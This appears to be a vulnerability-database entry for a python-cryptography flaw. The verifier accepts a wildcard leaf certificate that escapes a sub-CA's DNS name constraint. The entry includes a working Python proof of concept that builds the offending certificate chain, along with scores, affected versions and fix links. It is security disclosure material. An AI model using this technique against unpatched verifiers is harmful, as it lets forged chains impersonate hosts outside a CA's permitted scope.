CVE-2026-69248GHSA-m2h6-j472-rp4cPYSEC-2026-3554
python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
pyca cryptographypipLibraries & packages
CVSS
6.9MediumExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 4 Aug 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.24%Chance of exploitation activity in the next 30 days, higher than 14% of CVEs. Scored 23 Oct 2026FIRST EPSS
What fixes it
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.
PoC
#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
Setup:
Sub-CA permitted constraint: dNSName = foo.example.com
Leaf SAN: dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)
now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)
def build(subject, issuer, key, issuer_key, ca, exts=()):
b = (x509.CertificateBuilder()
.subject_name(subject).issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - 30 * day)
.not_valid_after(now + 3650 * day)
.add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
for e, c in exts:
b = b.add_extension(e, c)
return b.sign(issuer_key, hashes.SHA256())
# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)
# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
permitted_subtrees=[x509.DNSName("foo.example.com")],
excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])
# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])
# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
PolicyBuilder()
.store(Store([root]))
.time(now)
.extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
.build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
v.verify(leaf, [sub])
print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
print(f"EXPECTED: VerificationError: {e}")Impact
Acceptance of invalid certificate chain.
Text from GitHub Advisory Database
Affected versions 22
- cryptography, pip>= 45.0.0, < 49.0.0GitHub
- cryptographyaffected: < 49.0.0CVE List
- cryptography, PyPIfrom 45.0.0, fixed in 49.0.0OSV
- cryptography, PyPI45.0.0OSV
- cryptography, PyPI45.0.1OSV
- cryptography, PyPI45.0.2OSV
- cryptography, PyPI45.0.3OSV
- cryptography, PyPI45.0.4OSV
- cryptography, PyPI45.0.5OSV
- cryptography, PyPI45.0.6OSV
- cryptography, PyPI45.0.7OSV
- cryptography, PyPI46.0.0OSV
- cryptography, PyPI46.0.1OSV
- cryptography, PyPI46.0.2OSV
- cryptography, PyPI46.0.3OSV
- cryptography, PyPI46.0.4OSV
- cryptography, PyPI46.0.5OSV
- cryptography, PyPI46.0.6OSV
- cryptography, PyPI46.0.7OSV
- cryptography, PyPI47.0.0OSV
- cryptography, PyPI48.0.0OSV
- cryptography, PyPI48.0.1OSV
References 7
- github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2Fixvia CVE List
- github.com/pyca/cryptography/commit/286c89128Fixvia GitHub
- github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yamlAdvisoryvia GitHub
- github.com/advisories/GHSA-m2h6-j472-rp4cAdvisoryvia GitHub
- github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4cExploitvia CVE List
- github.com/pyca/cryptography/pull/14888Referencevia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-69248Referencevia GitHub